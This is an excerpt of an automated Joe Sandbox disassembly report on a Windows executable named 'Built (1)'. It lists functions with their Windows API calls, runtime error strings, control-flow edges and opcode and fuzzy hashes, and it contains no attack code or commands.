7ff6ffd2c9a8-7ff6ffd2c9bf 856->857 860 7ff6ffd2ca3a-7ff6ffd2ca44 call 7ff6ffd3476c 857->860 861 7ff6ffd2c9c1-7ff6ffd2c9c9 857->861 872 7ff6ffd2ca4a-7ff6ffd2ca5f 860->872 873 7ff6ffd2cace 860->873 861->860 864 7ff6ffd2c9cb-7ff6ffd2c9cd 861->864 864->860 868 7ff6ffd2c9cf-7ff6ffd2c9e5 864->868 868->860 875 7ff6ffd2c9e7-7ff6ffd2c9f3 868->875 872->873 877 7ff6ffd2ca61-7ff6ffd2ca73 GetConsoleMode 872->877 881 7ff6ffd2cad3-7ff6ffd2caf3 ReadFile 873->881 875->860 879 7ff6ffd2c9f5-7ff6ffd2c9f7 875->879 877->873 882 7ff6ffd2ca75-7ff6ffd2ca7d 877->882 879->860 884 7ff6ffd2c9f9-7ff6ffd2ca11 879->884 887 7ff6ffd2caf9-7ff6ffd2cb01 881->887 888 7ff6ffd2cbed-7ff6ffd2cbf6 GetLastError 881->888 882->881 890 7ff6ffd2ca7f-7ff6ffd2caa1 ReadConsoleW 882->890 893 7ff6ffd2cab3-7ff6ffd2cabd call 7ff6ffd2b700 883->893 884->860 894 7ff6ffd2ca13-7ff6ffd2ca1f 884->894 885->857 886->883 887->888 896 7ff6ffd2cb07 887->896 891 7ff6ffd2cbf8-7ff6ffd2cc0e call 7ff6ffd25cb4 call 7ff6ffd25c94 888->891 892 7ff6ffd2cc13-7ff6ffd2cc16 888->892 899 7ff6ffd2cac2-7ff6ffd2cacc 890->899 900 7ff6ffd2caa3 GetLastError 890->900 891->883 904 7ff6ffd2caa9-7ff6ffd2caab call 7ff6ffd25c28 892->904 905 7ff6ffd2cc1c-7ff6ffd2cc1e 892->905 893->845 894->860 903 7ff6ffd2ca21-7ff6ffd2ca23 894->903 897 7ff6ffd2cb0e-7ff6ffd2cb23 896->897 897->893 907 7ff6ffd2cb25-7ff6ffd2cb30 897->907 899->897 900->904 903->860 911 7ff6ffd2ca25-7ff6ffd2ca35 903->911 904->883 905->893 913 7ff6ffd2cb57-7ff6ffd2cb5f 907->913 914 7ff6ffd2cb32-7ff6ffd2cb4b call 7ff6ffd2c424 907->914 911->860 918 7ff6ffd2cbdb-7ff6ffd2cbe8 call 7ff6ffd2c264 913->918 919 7ff6ffd2cb61-7ff6ffd2cb73 913->919 922 7ff6ffd2cb50-7ff6ffd2cb52 914->922 918->922 923 7ff6ffd2cbce-7ff6ffd2cbd6 919->923 924 7ff6ffd2cb75 919->924 922->893 923->893 926 7ff6ffd2cb7a-7ff6ffd2cb81 924->926 927 7ff6ffd2cbbd-7ff6ffd2cbc8 926->927 928 7ff6ffd2cb83-7ff6ffd2cb87 926->928 927->923 929 7ff6ffd2cb89-7ff6ffd2cb90 928->929 930 7ff6ffd2cba3 928->930 929->930 931 7ff6ffd2cb92-7ff6ffd2cb96 929->931 932 7ff6ffd2cba9-7ff6ffd2cbb9 930->932 931->930 933 7ff6ffd2cb98-7ff6ffd2cba1 931->933 932->926 934 7ff6ffd2cbbb 932->934 933->932 934->923
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: 08457a1c6721881f4c11fed91b7cfb17c1058ae71b93dddd692bbf3e619047ea
                                              • Instruction ID: 5fafa21e12cc6c497422bcc65040fc24198ad36010feb88b2b33e13f8fe2bcdf
                                              • Opcode Fuzzy Hash: 08457a1c6721881f4c11fed91b7cfb17c1058ae71b93dddd692bbf3e619047ea
                                              • Instruction Fuzzy Hash: 8DC1C022A0C68691EB619B1594402BD3BA5FB90BE0F594331DA7E873D1FE7EEC4583C1
                                              Function 00007FF6FFD18860 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
                                              • String ID:
                                              • API String ID: 995526605-0
                                              • Opcode ID: b1216ed18347f8b81e820bbdb8b5f09e12cf3be39993a81172719e0d53531675
                                              • Instruction ID: 346f8d6586ee8e43d2ab31cf05ecf1d52bd4f34c403bc6ca456b982e64c71b21
                                              • Opcode Fuzzy Hash: b1216ed18347f8b81e820bbdb8b5f09e12cf3be39993a81172719e0d53531675
                                              • Instruction Fuzzy Hash: FD216236A0CA8282EB109B55F48013AB3A1EF857A0F100335EABD83AE4EF7CE4548740
                                              Function 00007FF6FFD18B80 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 59COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                                • Part of subcall function 00007FF6FFD18860: GetCurrentProcess.KERNEL32 ref: 00007FF6FFD18880
                                                • Part of subcall function 00007FF6FFD18860: OpenProcessToken.ADVAPI32 ref: 00007FF6FFD18891
                                                • Part of subcall function 00007FF6FFD18860: GetTokenInformation.KERNELBASE ref: 00007FF6FFD188B6
                                                • Part of subcall function 00007FF6FFD18860: GetLastError.KERNEL32 ref: 00007FF6FFD188C0
                                                • Part of subcall function 00007FF6FFD18860: GetTokenInformation.KERNELBASE ref: 00007FF6FFD18900
                                                • Part of subcall function 00007FF6FFD18860: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6FFD1891C
                                                • Part of subcall function 00007FF6FFD18860: CloseHandle.KERNEL32 ref: 00007FF6FFD18934
                                              • LocalFree.KERNEL32(00000000,00007FF6FFD13B4E), ref: 00007FF6FFD18C0C
                                              • LocalFree.KERNEL32 ref: 00007FF6FFD18C15
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
                                              • String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PATH_MAX!
                                              • API String ID: 6828938-1817031585
                                              • Opcode ID: b6111afcc3eeb0b408ea35522252114c0c7814765020da058c7306c730e1b11f
                                              • Instruction ID: 9b5ba680b66531c935bfec1ff69ba18f259c361a9e650b55583b5a4a9968a017
                                              • Opcode Fuzzy Hash: b6111afcc3eeb0b408ea35522252114c0c7814765020da058c7306c730e1b11f
                                              • Instruction Fuzzy Hash: A6213922A1968681FB10EB20E8056E97361AF58780F840732EA7ED36D6EF3CE5058784
                                              Function 00007FF6FFD13F00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              • GetModuleFileNameW.KERNEL32(?,00007FF6FFD139CA), ref: 00007FF6FFD13F34
                                                • Part of subcall function 00007FF6FFD129C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6FFD18AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD129F4
                                                • Part of subcall function 00007FF6FFD129C0: MessageBoxW.USER32 ref: 00007FF6FFD12AD0
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorFileLastMessageModuleName
                                              • String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
                                              • API String ID: 2581892565-1977442011
                                              • Opcode ID: 7ef307d93855c796adb502a26685baad3249a75f128fd8c4618b636fbd62cd4f
                                              • Instruction ID: 428d8729647d061e0f7d458adfaec9367c60a340ecfafb0268e51f188c82672b
                                              • Opcode Fuzzy Hash: 7ef307d93855c796adb502a26685baad3249a75f128fd8c4618b636fbd62cd4f
                                              • Instruction Fuzzy Hash: 6C115C61B1968241FB619725E8523FA7364AF487C5F400732E97ED66DAFE2CE144C780
                                              Function 00007FF6FFD2DD10 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                              Download Yara Rule
                                              APIs
                                              • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF6FFD2DCFB), ref: 00007FF6FFD2DE2C
                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF6FFD2DCFB), ref: 00007FF6FFD2DEB7
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ConsoleErrorLastMode
                                              • String ID:
                                              • API String ID: 953036326-0
                                              • Opcode ID: e5bc4118b78d7803f2849d3b40dbb6165d02ed41efd1a206ffcb3739746c0941
                                              • Instruction ID: 9927a189d72bfcc1e386d56ad4cbac2786744ae85b26419248d0602102b7b7f0
                                              • Opcode Fuzzy Hash: e5bc4118b78d7803f2849d3b40dbb6165d02ed41efd1a206ffcb3739746c0941
                                              • Instruction Fuzzy Hash: C591C262E0865289F7609F6594402BD2BA4BB54B88F144339DE7E97AC4FF3ED442C7E0
                                              Function 00007FF6FFD304DC Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _get_daylight$_isindst
                                              • String ID:
                                              • API String ID: 4170891091-0
                                              • Opcode ID: a806384fd3dbc637569f566945d79e9d0f9a49a7dde5cce1babac435a7d8ed95
                                              • Instruction ID: 42a5b8b43daf9ad9a51af8aef3ea2ee18bd28c1cbd8cc92fc9f28c48c10e34a4
                                              • Opcode Fuzzy Hash: a806384fd3dbc637569f566945d79e9d0f9a49a7dde5cce1babac435a7d8ed95
                                              • Instruction Fuzzy Hash: 0C51C772F056218BFB14DF24995A6BC2765AB5435CF500335EF3E92BE9EF38A4428780
                                              Function 00007FF6FFD25EF0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 1279662727-0
                                              • Opcode ID: 2e3e6935fd272a0e473f5669fe72b613a847a441e18d85c9910f5be84e911a30
                                              • Instruction ID: 41cf855f489431ddec33c2f9b2c96fe2aa72c3a6da1e1efd58b50d3e70d44028
                                              • Opcode Fuzzy Hash: 2e3e6935fd272a0e473f5669fe72b613a847a441e18d85c9910f5be84e911a30
                                              • Instruction Fuzzy Hash: 10418E22E1878283E7549F2095407796360FB94BA4F109334EABC87AD5EF7DA6E487C0
                                              Function 00007FF6FFD1C3CC Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
                                              • String ID:
                                              • API String ID: 3251591375-0
                                              • Opcode ID: 9d2a249925c3744b7bdec991b642967cea5aa1e4eae3f82ffa02bbb969e0fbb5
                                              • Instruction ID: ba90ea06e34eb4cd5bed488d36f07c8230b5b779959a2d84272bc84cfa70987d
                                              • Opcode Fuzzy Hash: 9d2a249925c3744b7bdec991b642967cea5aa1e4eae3f82ffa02bbb969e0fbb5
                                              • Instruction Fuzzy Hash: 2E310721E0C20241FB25AB65A4523F93391AF417C8F655735EA7ECB2E7FE2DB40582D1
                                              Function 00007FF6FFD2A7E4 Relevance: 4.5, APIs: 3, Instructions: 14COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Process$CurrentExitTerminate
                                              • String ID:
                                              • API String ID: 1703294689-0
                                              • Opcode ID: a9ca9fd944998b9103efb0079ab816177775b60747cbceda43ee2d2e97830e0f
                                              • Instruction ID: 533ff14fff42f1802f5ed008f80d23e61b772b0138189c05d004a1238f27754f
                                              • Opcode Fuzzy Hash: a9ca9fd944998b9103efb0079ab816177775b60747cbceda43ee2d2e97830e0f
                                              • Instruction Fuzzy Hash: 04D09215F0871242FB183B70589617963919F89B81F005778CA3B863D3ED7EA84E82C1
                                              Function 00007FF6FFD18D80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: CreateDirectoryMessage
                                              • String ID: Security descriptor is not initialized!
                                              • API String ID: 73271072-986317556
                                              • Opcode ID: cb4d7abd45f9f406bb8e9fa743bd3ea339ce9ab77a45f8f760c2574a3479da4c
                                              • Instruction ID: 3cf146a4012fa33ebe46080b5fd00e2a78309bd94de569ced4b4947f72e37a65
                                              • Opcode Fuzzy Hash: cb4d7abd45f9f406bb8e9fa743bd3ea339ce9ab77a45f8f760c2574a3479da4c
                                              • Instruction Fuzzy Hash: D0E09272A1C74A86FB509B24E8052693390FBA1354F800334E27CC73E4EF7CD2098B80
                                              Function 00007FF6FFD20A6C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: 0eaa1c8d06bd359b1122625d16b3aa7d08c7f0865ba5f1d40f60a3f142269269
                                              • Instruction ID: 8c325a4d633f1a44a1fdbb26dfacc3c847a51fc48e5ed3946250b26e264b8435
                                              • Opcode Fuzzy Hash: 0eaa1c8d06bd359b1122625d16b3aa7d08c7f0865ba5f1d40f60a3f142269269
                                              • Instruction Fuzzy Hash: BF51E862B0964146FB289E29940467E6391BF84BB8F144734DE7DC77C5EE3EE40096C0
                                              Function 00007FF6FFD2B910 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                              Download Yara Rule
                                              APIs
                                              • FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF6FFD2B78D,?,?,00000000,00007FF6FFD2B842), ref: 00007FF6FFD2B97E
                                              • GetLastError.KERNEL32(?,?,?,00007FF6FFD2B78D,?,?,00000000,00007FF6FFD2B842), ref: 00007FF6FFD2B988
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ChangeCloseErrorFindLastNotification
                                              • String ID:
                                              • API String ID: 1687624791-0
                                              • Opcode ID: 3fd0f83af0628cda6e58ba1b17cfc613668cd8d43ebee099ac9aff2e4f27651a
                                              • Instruction ID: 1394458232b54a1d9858bb9109e36531e70ddf068bba6872acf309a8e67d50ac
                                              • Opcode Fuzzy Hash: 3fd0f83af0628cda6e58ba1b17cfc613668cd8d43ebee099ac9aff2e4f27651a
                                              • Instruction Fuzzy Hash: 4D219361F0D68241EFA09725949037D13829F44BA4F084735DA7EC73E6EFAEA84983C0
                                              Function 00007FF6FFD2CEE4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorFileLastPointer
                                              • String ID:
                                              • API String ID: 2976181284-0
                                              • Opcode ID: 5a688e03e61d2ba522e05303caa220c229835d3c67e189c94220df843fa187e3
                                              • Instruction ID: 1b58c6b9728328f2a2952e56ef8c5b060714cbd982577e8a1f02b2e8a938c14e
                                              • Opcode Fuzzy Hash: 5a688e03e61d2ba522e05303caa220c229835d3c67e189c94220df843fa187e3
                                              • Instruction Fuzzy Hash: 7A11C162708A8281DB208B29A4041697361AB84BF4F584331EE7D8B7E9EF7DD55487C0
                                              Function 00007FF6FFD288E0 Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD2875D), ref: 00007FF6FFD28903
                                              • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD2875D), ref: 00007FF6FFD28919
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Time$System$FileLocalSpecific
                                              • String ID:
                                              • API String ID: 1707611234-0
                                              • Opcode ID: f486ed6e5c3c2cbaa4962bae20fc4c636bf07173bccdb3ad29f0a9c75d11b156
                                              • Instruction ID: f8007af6b3381450ad9ef7934a25a82228479e96e4efe27563e7bb44e0d7060e
                                              • Opcode Fuzzy Hash: f486ed6e5c3c2cbaa4962bae20fc4c636bf07173bccdb3ad29f0a9c75d11b156
                                              • Instruction Fuzzy Hash: 7C01613250C65286E7609B15E80527AB7B1FB81766F604336E7B9819E8EF7DE014DB80
                                              Function 00007FF6FFD2B700 Relevance: 3.0, APIs: 2, Instructions: 19COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • RtlDeleteBoundaryDescriptor.NTDLL(?,?,?,00007FF6FFD33B72,?,?,?,00007FF6FFD33BAF,?,?,00000000,00007FF6FFD34075,?,?,00000000,00007FF6FFD33FA7), ref: 00007FF6FFD2B716
                                              • GetLastError.KERNEL32(?,?,?,00007FF6FFD33B72,?,?,?,00007FF6FFD33BAF,?,?,00000000,00007FF6FFD34075,?,?,00000000,00007FF6FFD33FA7), ref: 00007FF6FFD2B720
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: BoundaryDeleteDescriptorErrorLast
                                              • String ID:
